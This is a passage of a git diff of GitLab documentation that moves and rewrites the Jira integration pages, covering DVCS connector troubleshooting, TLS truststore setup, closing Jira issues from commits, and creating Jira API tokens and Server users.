section if you're having problems with your DVCS connector. + +### Jira cannot access GitLab server + +If you complete the **Add New Account** form, authorize access, and you receive +this error, Jira and GitLab cannot connect. No other error messages +appear in any logs: + +```plaintext +Error obtaining access token. Cannot access https://gitlab.example.com from Jira. +``` + +### SSL and TLS problems + +Problems with SSL and TLS can cause this error message: + +```plaintext +Error obtaining access token. Cannot access https://gitlab.example.com from Jira. +``` + +- The [GitLab Jira integration](../../user/project/integrations/jira.md) requires + GitLab to connect to Jira. Any TLS issues that arise from a private certificate + authority or self-signed certificate are resolved + [on the GitLab server](https://docs.gitlab.com/omnibus/settings/ssl.html#other-certificate-authorities), + as GitLab is the TLS client. +- The Jira Development panel integration requires Jira to connect to GitLab, which + causes Jira to be the TLS client. If your GitLab server's certificate is not + issued by a public certificate authority, the Java Truststore on Jira's server + must have the appropriate certificate (such as your organization's + root certificate) added to it . + +Refer to Atlassian's documentation and Atlassian Support for assistance setting up Jira correctly: + +- [Add a certificate](https://confluence.atlassian.com/kb/how-to-import-a-public-ssl-certificate-into-a-jvm-867025849.html) + to the trust store. + - The simplest approach is [`keytool`](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html). + - Add additional roots to Java's default Truststore (`cacerts`) to allow Jira to + also trust public certificate authorities. + - If the integration stops working after upgrading Jira's Java runtime, the + `cacerts` Truststore may have been replaced during the upgrade. + +- Troubleshooting connectivity [up to and including TLS handshaking](https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-error-779355358.html), + using the a java class called `SSLPoke`. +- Download the class from Atlassian's knowledge base to a directory on Jira's server, such as `/tmp`. +- Use the same Java runtime as Jira. +- Pass all networking-related parameters that Jira is called with, such as proxy + settings or an alternative root Truststore (`-Djavax.net.ssl.trustStore`): + +```shell +${JAVA_HOME}/bin/java -Djavax.net.ssl.trustStore=/var/atlassian/application-data/jira/cacerts -classpath /tmp SSLPoke gitlab.example.com 443 +``` + +The message `Successfully connected` indicates a successful TLS handshake. + +If there are problems, the Java TLS library generates errors that you can +look up for more detail. + +### Scope error when connecting Jira via DVCS + +```plaintext +The requested scope is invalid, unknown, or malformed. +``` + +Potential resolutions: + +1. Verify that the URL shown in the browser after being redirected from Jira in the + [Jira DVCS connector setup](#configure-jira-for-dvcs) includes `scope=api` in + the query string. +1. If `scope=api` is missing from the URL, edit the + [GitLab account configuration](#configure-a-gitlab-application-for-dvcs). Review + the **Scopes** field and ensure the `api` check box is selected. + +### Jira error adding account and no repositories listed + +After you complete the **Add New Account** form in Jira and authorize access, you might +encounter these issues: + +- An `Error! Failed adding the account: [Error retrieving list of repositories]` error. +- An `Account is already integrated with JIRA` error when you click **Try Again**. +- An account is visible in the DVCS accounts view, but no repositories are listed. + +To resolve this issue: + +- If you're using GitLab Free or GitLab Starter, be sure you're using + GitLab 13.4 or later. +- *If you're using GitLab versions 11.10-12.7,* upgrade to GitLab 12.8.10 or later + to resolve [an identified issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012). + +[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply. + +### Fix synchronization issues + +If Jira displays incorrect information, such as deleted branches, you may need to +resynchronize the information. To do so: + +1. In Jira, go to **Jira Administration > Applications > DVCS accounts**. +1. At the account (group or subgroup) level, Jira displays an option to + **Refresh repositories** in the **{ellipsis_h}** (ellipsis) menu. +1. For each project, there's a sync button displayed next to the **last activity** date. + - To perform a *soft resync*, click the button. + - To complete a *full sync*, shift-click the button. + +For more information, read +[Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/synchronize-jira-cloud-to-bitbucket/). diff --git a/doc/integration/jira/img/jira-upload-app-success_v13_11.png b/doc/integration/jira/img/jira-upload-app-success_v13_11.png Binary files differnew file mode 100644 index 00000000000..c0d4c9744b6 --- /dev/null +++ b/doc/integration/jira/img/jira-upload-app-success_v13_11.png diff --git a/doc/integration/jira/img/jira-upload-app_v13_11.png b/doc/integration/jira/img/jira-upload-app_v13_11.png Binary files differnew file mode 100644 index 00000000000..88d1573f778 --- /dev/null +++ b/doc/integration/jira/img/jira-upload-app_v13_11.png diff --git a/doc/user/project/integrations/img/jira_added_user_to_group.png b/doc/integration/jira/img/jira_added_user_to_group.png Binary files differindex f5120a8d42e..f5120a8d42e 100644 --- a/doc/user/project/integrations/img/jira_added_user_to_group.png +++ b/doc/integration/jira/img/jira_added_user_to_group.png diff --git a/doc/user/project/integrations/img/jira_create_new_group.png b/doc/integration/jira/img/jira_create_new_group.png Binary files differindex 4ab7a5eae4e..4ab7a5eae4e 100644 --- a/doc/user/project/integrations/img/jira_create_new_group.png +++ b/doc/integration/jira/img/jira_create_new_group.png diff --git a/doc/integration/img/jira_dev_panel_jira_setup_3.png b/doc/integration/jira/img/jira_dev_panel_jira_setup_3.png Binary files differindex 4049a65f56b..4049a65f56b 100644 --- a/doc/integration/img/jira_dev_panel_jira_setup_3.png +++ b/doc/integration/jira/img/jira_dev_panel_jira_setup_3.png diff --git a/doc/integration/img/jira_dev_panel_jira_setup_4.png b/doc/integration/jira/img/jira_dev_panel_jira_setup_4.png Binary files differindex 81d84cb173d..81d84cb173d 100644 --- a/doc/integration/img/jira_dev_panel_jira_setup_4.png +++ b/doc/integration/jira/img/jira_dev_panel_jira_setup_4.png diff --git a/doc/integration/img/jira_dev_panel_jira_setup_5.png b/doc/integration/jira/img/jira_dev_panel_jira_setup_5.png Binary files differindex 73dc867d301..73dc867d301 100644 --- a/doc/integration/img/jira_dev_panel_jira_setup_5.png +++ b/doc/integration/jira/img/jira_dev_panel_jira_setup_5.png diff --git a/doc/integration/img/jira_dev_panel_manual_refresh.png b/doc/integration/jira/img/jira_dev_panel_manual_refresh.png Binary files differindex dc92d533bde..dc92d533bde 100644 --- a/doc/integration/img/jira_dev_panel_manual_refresh.png +++ b/doc/integration/jira/img/jira_dev_panel_manual_refresh.png diff --git a/doc/integration/img/jira_dev_panel_setup_com_1.png b/doc/integration/jira/img/jira_dev_panel_setup_com_1.png Binary files differindex 18f0d5da043..18f0d5da043 100644 --- a/doc/integration/img/jira_dev_panel_setup_com_1.png +++ b/doc/integration/jira/img/jira_dev_panel_setup_com_1.png diff --git a/doc/integration/img/jira_dev_panel_setup_com_2.png b/doc/integration/jira/img/jira_dev_panel_setup_com_2.png Binary files differindex 31dc13e1271..31dc13e1271 100644 --- a/doc/integration/img/jira_dev_panel_setup_com_2.png +++ b/doc/integration/jira/img/jira_dev_panel_setup_com_2.png diff --git a/doc/integration/img/jira_dev_panel_setup_com_3_v13_9.png b/doc/integration/jira/img/jira_dev_panel_setup_com_3_v13_9.png Binary files differindex fe791637d31..fe791637d31 100644 --- a/doc/integration/img/jira_dev_panel_setup_com_3_v13_9.png +++ b/doc/integration/jira/img/jira_dev_panel_setup_com_3_v13_9.png diff --git a/doc/integration/img/jira_dev_panel_setup_com_4_v13_9.png b/doc/integration/jira/img/jira_dev_panel_setup_com_4_v13_9.png Binary files differindex 08787f12b67..08787f12b67 100644 --- a/doc/integration/img/jira_dev_panel_setup_com_4_v13_9.png +++ b/doc/integration/jira/img/jira_dev_panel_setup_com_4_v13_9.png diff --git a/doc/integration/jira/img/jira_group_access.png b/doc/integration/jira/img/jira_group_access.png Binary files differnew file mode 100644 index 00000000000..42a9b4ae564 --- /dev/null +++ b/doc/integration/jira/img/jira_group_access.png diff --git a/doc/integration/jira/img/jira_issue_detail_view_v13.10.png b/doc/integration/jira/img/jira_issue_detail_view_v13.10.png Binary files differnew file mode 100644 index 00000000000..bf1607a35fe --- /dev/null +++ b/doc/integration/jira/img/jira_issue_detail_view_v13.10.png diff --git a/doc/user/project/integrations/img/jira_issue_reference.png b/doc/integration/jira/img/jira_issue_reference.png Binary files differindex db8bc4f0bb9..db8bc4f0bb9 100644 --- a/doc/user/project/integrations/img/jira_issue_reference.png +++ b/doc/integration/jira/img/jira_issue_reference.png diff --git a/doc/user/project/integrations/img/jira_merge_request_close.png b/doc/integration/jira/img/jira_merge_request_close.png Binary files differindex 9a176daf5f4..9a176daf5f4 100644 --- a/doc/user/project/integrations/img/jira_merge_request_close.png +++ b/doc/integration/jira/img/jira_merge_request_close.png diff --git a/doc/user/project/integrations/img/jira_project_settings.png b/doc/integration/jira/img/jira_project_settings.png Binary files differindex d96002b7db8..d96002b7db8 100644 --- a/doc/user/project/integrations/img/jira_project_settings.png +++ b/doc/integration/jira/img/jira_project_settings.png diff --git a/doc/user/project/integrations/img/jira_service_close_issue.png b/doc/integration/jira/img/jira_service_close_issue.png Binary files differindex 73d6498192c..73d6498192c 100644 --- a/doc/user/project/integrations/img/jira_service_close_issue.png +++ b/doc/integration/jira/img/jira_service_close_issue.png diff --git a/doc/user/project/integrations/img/jira/open_jira_issues_list_v13.2.png b/doc/integration/jira/img/open_jira_issues_list_v13.2.png Binary files differindex 0cf58433b25..0cf58433b25 100644 --- a/doc/user/project/integrations/img/jira/open_jira_issues_list_v13.2.png +++ b/doc/integration/jira/img/open_jira_issues_list_v13.2.png diff --git a/doc/integration/jira/index.md b/doc/integration/jira/index.md new file mode 100644 index 00000000000..221e50e5d66 --- /dev/null +++ b/doc/integration/jira/index.md @@ -0,0 +1,91 @@ +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Jira integrations **(FREE)** + +If your organization uses [Jira](https://www.atlassian.com/software/jira) issues, +you can [migrate](../../user/project/import/jira.md) your issues from Jira and work +exclusively in GitLab. However, if you'd like to continue to use Jira, you can +integrate it with GitLab. GitLab offers two types of Jira integrations, and you +can use one or both depending on the capabilities you need. + +## Compare Jira integrations + +After you set up one or both of these integrations, you can cross-reference activity +in your GitLab project with any of your projects in Jira. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For an overview, see [Agile Management - GitLab-Jira Basic Integration](https://www.youtube.com/watch?v=fWvwkx5_00E&feature=youtu.be). + +### Per-project Jira integration + +This integration connects a single GitLab project to a Jira instance. The Jira instance +can be hosted by you or in [Atlassian cloud](https://www.atlassian.com/cloud): + +- *If your installation uses Jira Cloud,* use the + [GitLab for Jira app](connect-app.md). +- *If either your Jira or GitLab installation is self-managed,* use the + [Jira DVCS Connector](dvcs.md). + +### Jira development panel integration + +The [Jira development panel integration](development_panel.md) +connects all GitLab projects under a group or personal namespace. When configured, +relevant GitLab information, including related branches, commits, and merge requests, +displays in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/). + +### Direct feature comparison + +| Capability | Jira integration | Jira Development panel integration | +|-|-|-| +| Mention a Jira issue ID in a GitLab commit or merge request, and a link to the Jira issue is created. | Yes. | No. | +| Mention a Jira issue ID in GitLab and the Jira issue shows the GitLab issue or merge request. | Yes. A Jira comment with the GitLab issue or MR title links to GitLab. The first mention is also added to the Jira issue under **Web links**. | Yes, in the issue's Development panel. | +| Mention a Jira issue ID in a GitLab commit message and the Jira issue shows the commit message. | Yes. The entire commit message is displayed in the Jira issue as a comment and under **Web links**. Each message links back to the commit in GitLab. | Yes, in the issue's Development panel and optionally with a custom comment on the Jira issue using Jira [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html). | +| Mention a Jira issue ID in a GitLab branch name and the Jira issue shows the branch name. | No. | Yes, in the issue's [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/). | +| Add Jira time tracking to an issue. | No. | Yes. Time can be specified using Jira Smart Commits. | +| Use a Git commit or merge request to transition or close a Jira issue. | Yes. Only a single transition type, typically configured to close the issue by setting it to Done. | Yes. Transition to any state using Jira Smart Commits. | +| Display a list of Jira issues. | Yes. **(PREMIUM)** | No. | +| Create a Jira issue from a vulnerability or finding. **(ULTIMATE)** | Yes. | No. | + +## Authentication in Jira + +The process for configuring Jira depends on whether you host Jira on your own server or on +[Atlassian cloud](https://www.atlassian.com/cloud): + +- **Jira Server** supports basic authentication. When connecting, a **username and password** are + required. Connecting to Jira Server via CAS is not possible. For more information, read + how to [set up a user in Jira Server](jira_server_configuration.md). +- **Jira on Atlassian cloud** supports authentication through an API token. When connecting to Jira on + Atlassian cloud, an email and API token are required. For more information, read + [set up a user in Jira on Atlassian cloud](jira_cloud_configuration.md). + +## Troubleshooting + +If these features do not work as expected, it is likely due to a problem with the way the integration settings were configured. + +### GitLab is unable to comment on a Jira issue + +Make sure that the Jira user you set up for the integration has the +correct access permission to post comments on a Jira issue and also to transition +the issue, if you'd like GitLab to also be able to do so. +Jira issue references and update comments do not work if the GitLab issue tracker is disabled. + +### GitLab is unable to close a Jira issue + +Make sure the `Transition ID` you set within the Jira settings matches the one +your project needs to close an issue. + +Make sure that the Jira issue is not already marked as resolved; that is, +the Jira issue resolution field is not set. (It should not be struck through in +Jira lists.) + +### CAPTCHA + +CAPTCHA may be triggered after several consecutive failed login attempts +which may lead to a `401 unauthorized` error when testing your Jira integration. +If CAPTCHA has been triggered, you can't use Jira's REST API to +authenticate with the Jira site. You need to log in to your Jira instance +and complete the CAPTCHA. diff --git a/doc/integration/jira/issues.md b/doc/integration/jira/issues.md new file mode 100644 index 00000000000..d2cab59742b --- /dev/null +++ b/doc/integration/jira/issues.md @@ -0,0 +1,173 @@ +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Jira integration issue management **(FREE)** + +By now you should have [configured Jira](development_panel.md#configuration) and enabled the +[Jira service in GitLab](development_panel.md#configure-gitlab). If everything is set up correctly +you should be able to reference and close Jira issues by just mentioning their +ID in GitLab commits and merge requests. + +Jira issue IDs must be formatted in uppercase for the integration to work. + +## Reference Jira issues + +When GitLab project has Jira issue tracker configured and enabled, mentioning +Jira issues in GitLab automatically adds a comment in Jira issue with the +link back to GitLab. This means that in comments in merge requests and commits +referencing an issue, `PROJECT-7` for example, adds a comment in Jira issue in the +format: + +```plaintext +USER mentioned this issue in RESOURCE_NAME of [PROJECT_NAME|LINK_TO_COMMENT]: +ENTITY_TITLE +``` + +- `USER` A user that mentioned the issue. This is the link to the user profile in GitLab. +- `LINK_TO_THE_COMMENT` Link to the origin of mention with a name of the entity where Jira issue was mentioned. +- `RESOURCE_NAME` Kind of resource which referenced the issue. Can be a commit or merge request. +- `PROJECT_NAME` GitLab project name. +- `ENTITY_TITLE` Merge request title or commit message first line. + + + +For example, the following commit references the Jira issue with `PROJECT-1` as its ID: + +```shell +git commit -m "PROJECT-1 Fix spelling and grammar" +``` + +## Close Jira issues + +Jira issues can be closed directly from GitLab by using trigger words in +commits and merge requests. When a commit which contains the trigger word +followed by the Jira issue ID in the commit message is pushed, GitLab +adds a comment in the mentioned Jira issue and immediately closes it (provided +the transition ID was set up correctly). + +There are currently three trigger words, and you can use either one to achieve +the same goal: + +- `Resolves PROJECT-1` +- `Closes PROJECT-1` +- `Fixes PROJECT-1` + +where `PROJECT-1` is the ID of the Jira issue. + +Note the following: + +- Only commits and merges into the project's default branch (usually `master`) + close an issue in Jira. You can change your project's default branch under + [project settings](img/jira_project_settings.png). +- The Jira issue is not transitioned if it has a resolution. + +Let's consider the following example: + +1. For the project named `PROJECT` in Jira, we implemented a new feature + and created a merge request in GitLab. +1. This feature was requested in Jira issue `PROJECT-7` and the merge request + in GitLab contains the improvement +1. In the merge request description we use the issue closing trigger + `Closes PROJECT-7`. +1. Once the merge request is merged, the Jira issue is automatically closed + with a comment and an associated link to the commit that resolved the issue. + +In the following screenshot you can see what the link references to the Jira +issue look like. + + + +Once this merge request is merged, the Jira issue is automatically closed +with a link to the commit that resolved the issue. + + + +## View Jira issues **(PREMIUM)** + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3622) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. + +You can browse, search, and view issues from a selected Jira project directly in GitLab, +if your GitLab administrator [has configured it](development_panel.md#configure-gitlab): + +1. In the left navigation bar, go to **Jira > Issues list**. +1. The issue list sorts by **Created date** by default, with the newest issues listed at the top: + +  + +1. To display the most recently updated issues first, click **Last updated**. +1. In GitLab versions 13.10 and later, you can view [individual Jira issues](#view-a-jira-issue). + +Issues are grouped into tabs based on their [Jira status](https://confluence.atlassian.com/adminjiraserver070/defining-status-field-values-749382903.html): + +- The **Open** tab displays all issues with a Jira status in any category other than Done. +- The **Closed** tab displays all issues with a Jira status categorized as Done. +- The **All** tab displays all issues of any status. + +## View a Jira issue + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299832) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.10 behind a feature flag, disabled by default. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299832) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.11. + +When viewing the [Jira issues list](#view-jira-issues), select an issue from the +list to open it in GitLab: + + + +## Search and filter the issues list + +To refine the list of issues, use the search bar to search for any text +contained in an issue summary (title) or description. + +You can also filter by labels, status, reporter, and assignee using URL parameters. +Enhancements to be able to use these through the user interface are [planned](https://gitlab.com/groups/gitlab-org/-/epics/3622). + +- To filter issues by `labels`, specify one or more labels as part of the `labels[]` +parameter in the URL. When using multiple labels, only issues that contain all specified +labels are listed. `/-/integrations/jira/issues?labels[]=backend&labels[]=feature&labels[]=QA` + +- To filter issues by `status`, specify the `status` parameter in the URL. +`/-/integrations/jira/issues?status=In Progress` + +- To filter issues by `reporter`, specify a reporter's Jira display name for the +`author_username` parameter in the URL. `/-/integrations/jira/issues?author_username=John Smith` + +- To filter issues by `assignee`, specify their Jira display name for the +`assignee_username` parameter in the URL. `/-/integrations/jira/issues?assignee_username=John Smith` + +## Automatic issue transitions + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/...) in GitLab 13.10. + +In this mode the referenced Jira issue is transitioned to the next available status with a category of "Done". + +See the [Configure GitLab](development_panel.md#configure-gitlab) section, check the **Enable Jira transitions** setting and select the **Move to Done** option. + +## Custom issue transitions + +For advanced workflows you can specify custom Jira transition IDs. + +See the [Configure GitLab](development_panel.md#configure-gitlab) section, check the **Enable Jira transitions** setting, select the **Custom transitions** option, and enter your transition IDs in the text field. + +If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. If a transition fails the sequence is aborted. + +To see the transition IDs on Jira Cloud, edit a workflow in the **Text** view. +The transition IDs display in the **Transitions** column. + +On Jira Server you can get the transition IDs in either of the following ways: + +1. By using the API, with a request like `https://yourcompany.atlassian.net/rest/api/2/issue/ISSUE-123/transitions` + using an issue that is in the appropriate "open" state +1. By mousing over the link for the transition you want and looking for the + "action" parameter in the URL + +Note that the transition ID may vary between workflows (for example, bug vs. story), +even if the status you are changing to is the same. + +## Disabling comments on Jira issues + +You can continue to have GitLab cross-link a source commit/MR with a Jira issue while disabling the comment added to the issue. + +See the [Configure GitLab](development_panel.md#configure-gitlab) section and uncheck the **Enable comments** setting. diff --git a/doc/integration/jira/jira_cloud_configuration.md b/doc/integration/jira/jira_cloud_configuration.md new file mode 100644 index 00000000000..fd58b3f33f7 --- /dev/null +++ b/doc/integration/jira/jira_cloud_configuration.md @@ -0,0 +1,22 @@ +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Create an API token in Jira on Atlassian cloud **(FREE)** + +You need an API token to [integrate with Jira](../../user/project/integrations/jira.md) +on Atlassian cloud. To create the API token: + +1. Sign in to [`id.atlassian.com`](https://id.atlassian.com/manage-profile/security/api-tokens) + with your email address. Use an account with *write* access to Jira projects. +1. Go to **Settings > API tokens**. +1. Select **Create API token** to display a modal window with an API token. +1. To copy the API token, select **Copy to clipboard**, or select **View** and write + down the new API token. You need this value when you + [configure GitLab](development_panel.md#configure-gitlab). + +You need the newly created token, and the email +address you used when you created it, when you +[configure GitLab](development_panel.md#configure-gitlab). diff --git a/doc/integration/jira/jira_server_configuration.md b/doc/integration/jira/jira_server_configuration.md new file mode 100644 index 00000000000..3573a1f8b1e --- /dev/null +++ b/doc/integration/jira/jira_server_configuration.md @@ -0,0 +1,83 @@ +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Jira Server credentials **(FREE)** + +To [integrate Jira with GitLab](../../user/project/integrations/jira.md), you must +create a Jira user account for your Jira projects to access projects in GitLab. +This Jira user account must have write access to your Jira projects. To create the +credentials, you must: + +1. [Create a Jira Server user](#create-a-jira-server-user). +1. [Create a Jira Server group](#create-a-jira-server-group) for the user to belong to. +1. [Create a permission scheme for your group](#create-a-permission-scheme-for-your-group). + +## Create a Jira Server user + +This process creates a user named `gitlab` and adds it to a new group named `gitlab-developers`: + +1. Sign in to your Jira instance as an administrator. +1. In the upper right corner of the top menu, go to the gear icon and + select **User Management**. +1. Create a new user account (`gitlab`) with write access to + projects in Jira. + - **Email address**: Jira requires a valid email address, and sends a verification + email, which you need to set up the password. + - **Username**: Jira creates the username by using the email prefix. You can change + this username later. + - **Password**: You must create a password, because the GitLab integration doesn't + support SSO, such as SAML. To create the password, visit the user profile, look up + the username, and set a password. +1. Select **Create user**. + +After you create the user, create a group for it. + +## Create a Jira Server group + +After you [create a Jira Server user](#create-a-jira-server-user), you can create a +group to assign permissions to the user: + +1. Sign in to your Jira instance as an administrator. +1. In the upper right corner of the top menu, go to the gear icon and + select **User Management**. +1. From the sidebar, select **Groups**. + +  + +1. In the **Add group** section, enter a **Name** for the group (for example, + `gitlab-developers`), and then select **Add group**. +1. To add the `gitlab` user to the `gitlab-developers` group, select **Edit members**. + The `gitlab-developers` group should be listed in the leftmost box as a + selected group. +1. In the **Add members to selected group(s)** area, enter `gitlab`. +1. Select **Add selected users**. +Jira saves your selection, and `gitlab` should appear in the **Group member(s)** +area. + + + +Next, create a permission scheme for your group. + +## Create a permission scheme for your group + +After creating the group in Jira, grant permissions to the group by creating a permission scheme: + +1. Sign in to your Jira instance as an administrator. +1. In the upper right corner of the top menu, go to the gear icon and + select **Issues**. +1. From the sidebar, select **Permission Schemes**. +1. Select **Add Permission Scheme**, enter a **Name** and (optionally) a + **Description**, and then select **Add**. +1. In the permissions scheme list, locate your new permissions scheme, and + select **Permissions**. +1. Next to **Administer Projects**, select **Edit**. In + the **Group** list, select `gitlab-developers`. + +  + +Write down the new Jira username and its +password, as you need them when +[configuring GitLab](development_panel.md#configure-gitlab). diff --git a/doc/integration/jira_development_panel.md b/doc/integration/jira_development_panel.md index 59a96970d75..152c1df3538 100644 --- a/doc/integration/jira_development_panel.md +++ b/doc/integration/jira_development_panel.md @@ -1,327 +1,8 @@ --- -stage: Create -group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'jira/index.md' --- -# GitLab Jira Development Panel integration **(FREE)** +This document was moved to [another location](jira/index.md). -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/233149) to GitLab Free in 13.4. - -The Jira Development Panel integration allows you to reference Jira issues in GitLab, displaying -activity in the [Development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/) -in the issue. - -It complements the [GitLab Jira integration](../user/project/integrations/jira.md). You may choose -to configure both integrations to take advantage of both sets of features. See a -[feature comparison](../user/project/integrations/jira_integrations.md#feature-comparison). - -Depending on your environment, you can enable this integration by either: - -- Configuring [the Jira DVCS connector](#jira-dvcs-configuration). -- Using the [GitLab for Jira app](#gitlab-for-jira-app) in the Atlassian Marketplace. - -See the [Configuration](#configuration) section for details. - -## Features - -| Your mention of Jira issue ID in GitLab context | Automated effect in Jira issue | -|---------------------------------------------------|--------------------------------------------------------------------------------------------------------| -| In a merge request | Link to the MR is displayed in Development panel. | -| In a branch name | Link to the branch is displayed in Development panel. | -| In a commit message | Link to the commit is displayed in Development panel. | -| In a commit message with Jira Smart Commit format | Displays your custom comment or logged time spent and/or performs specified issue transition on merge. | - -With this integration, you can access related GitLab merge requests, branches, and commits directly from a Jira issue, reflecting your work in GitLab. From the Development panel, you can open a detailed view and take actions including creating a new merge request from a branch. For more information, see [Usage](#usage). - -This integration connects all GitLab projects to projects in the Jira instance in either: - -- A top-level group. A top-level GitLab group is one that does not have any parent group itself. All - the projects of that top-level group, as well as projects of the top-level group's subgroups nesting - down, are connected. -- A personal namespace, which then connects the projects in that personal namespace to Jira. - -This differs from the [Jira integration](../user/project/integrations/jira.md), where the mapping is between one GitLab project and the entire Jira instance. - -## Configuration - -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview, see [Agile Management - GitLab-Jira Development Panel Integration](https://www.youtube.com/watch?v=VjVTOmMl85M&feature=youtu.be). - -If you're using: - -- GitLab.com and Jira Cloud, we recommend you enable this integration by installing the - [GitLab for Jira app](#gitlab-for-jira-app) from the Atlassian Marketplace, which offers a real-time - sync between GitLab and Jira. -- Self-managed GitLab, self-managed Jira, or both, configure the integration using - [Jira's DVCS Connector](#jira-dvcs-configuration), which syncs data hourly. - -We recommend that a GitLab group maintainer or group owner, or instance administrator (in the case of -self-managed GitLab) set up the integration to simplify administration. - -### Jira DVCS configuration - -If you're using GitLab.com and Jira Cloud, use the -[GitLab for Jira app](#gitlab-for-jira-app) unless you have a specific need for the DVCS Connector. - -When configuring Jira DVCS Connector: - -- If you are using self-managed GitLab, make sure your GitLab instance is accessible by Jira. -- If you're connecting to Jira Cloud, ensure your instance is accessible through the internet. -- If you are using Jira Server, make sure your instance is accessible however your network is set up. - -#### GitLab account configuration for DVCS - -NOTE: -To ensure that regular user account maintenance doesn't impact your integration, -create and use a single-purpose `jira` user in GitLab. - -1. In GitLab, create a new application to allow Jira to connect with your GitLab account. -1. Sign in to the GitLab account that you want Jira to use to connect to GitLab. -1. In the top-right corner, select your avatar. -1. Select **Edit profile**. -1. In the left sidebar, select **Applications**. -1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`. -1. In the **Redirect URI** field, enter `https://<gitlab.example.com>/login/oauth/callback`, - replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com, - this would be `https://gitlab.com/login/oauth/callback`. - - NOTE: - If using a GitLab version earlier than 11.3, the `Redirect URI` must be - `https://<gitlab.example.com>/-/jira/login/oauth/callback`. If you want Jira - to have access to all projects, GitLab recommends that an administrator create the - application. - -  - -1. Check **API** in the **Scopes** section, and clear any other checkboxes. -1. Click **Save application**. GitLab displays the generated **Application ID** - and **Secret** values. Copy these values, which you use in Jira. - -#### Jira DVCS Connector setup - -If you're using GitLab.com and Jira Cloud, use the -[GitLab for Jira app](#gitlab-for-jira-app) unless you have a specific need for the DVCS Connector. - -1. Ensure you have completed the [GitLab configuration](#gitlab-account-configuration-for-dvcs). -1. If you're using Jira Server, go to **Settings (gear) > Applications > DVCS accounts**. - If you're using Jira Cloud, go to **Settings (gear) > Products > DVCS accounts**. -1. Click **Link GitHub Enterprise account** to start creating a new integration. - (We're pretending to be GitHub in this integration, until there's additional platform support in Jira.) -1. Complete the form: - -1. Select **GitHub Enterprise** for the **Host** field. - -1. In the **Team or User Account** field, enter either: - - - The relative path of a top-level GitLab group that you have access to. - - The relative path of your personal namespace. - -  - -1. In the **Host URL** field, enter `https://<gitlab.example.com>/`, - replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com, - this would be `https://gitlab.com/`. - - NOTE: - If using a GitLab version earlier than 11.3 the **Host URL** value should be `https://<gitlab.example.com>/-/jira` - -1. For the **Client ID** field, use the **Application ID** value from the previous section. - -1. For the **Client Secret** field, use the **Secret** value from the previous section. - -1. Ensure that the rest of the checkboxes are checked. - -1. Click **Add** to complete and create the integration. - - Jira takes up to a few minutes to know about (import behind the scenes) all the commits and branches - for all the projects in the GitLab group you specified in the previous step. These are refreshed - every 60 minutes. - - In the future, we plan on implementing real-time integration. If you need - to refresh the data manually, you can do this from the `Applications -> DVCS - accounts` screen where you initially set up the integration: - -  - -To connect additional GitLab projects from other GitLab top-level groups (or personal namespaces), repeat the previous -steps with additional Jira DVCS accounts. - -Now that the integration is configured, read more about how to test and use it in [Usage](#usage). - -#### Troubleshooting your DVCS connection - -Refer to the items in this section if you're having problems with your DVCS connector. - -##### Jira cannot access GitLab server - -```plaintext -Error obtaining access token. Cannot access https://gitlab.example.com from Jira. -``` - -This error message is generated in Jira, after completing the **Add New Account** -form and authorizing access. It indicates a connectivity issue from Jira to -GitLab. No other error messages appear in any logs. - -If there was an issue with SSL/TLS, this error message is generated. - -- The [GitLab Jira integration](../user/project/integrations/jira.md) requires GitLab to connect to Jira. Any - TLS issues that arise from a private certificate authority or self-signed - certificate [are resolved on the GitLab server](https://docs.gitlab.com/omnibus/settings/ssl.html#other-certificate-authorities), - as GitLab is the TLS client. -- The Jira Development Panel integration requires Jira to connect to GitLab, which - causes Jira to be the TLS client. If your GitLab server's certificate is not - issued by a public certificate authority, the Java Truststore on Jira's server - needs to have the appropriate certificate added to it (such as your organization's - root certificate). - -Refer to Atlassian's documentation and Atlassian Support for assistance setting up Jira correctly: - -- [Adding a certificate to the trust store](https://confluence.atlassian.com/kb/how-to-import-a-public-ssl-certificate-into-a-jvm-867025849.html). - - Simplest approach is to use [`keytool`](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html). - - Add additional roots to Java's default Truststore (`cacerts`) to allow Jira to - also trust public certificate authorities. - - If the integration stops working after upgrading Jira's Java runtime, this - might be because the `cacerts` Truststore got replaced. - -- [Troubleshooting connectivity up to and including TLS handshaking](https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-error-779355358.html), - using the a java class called 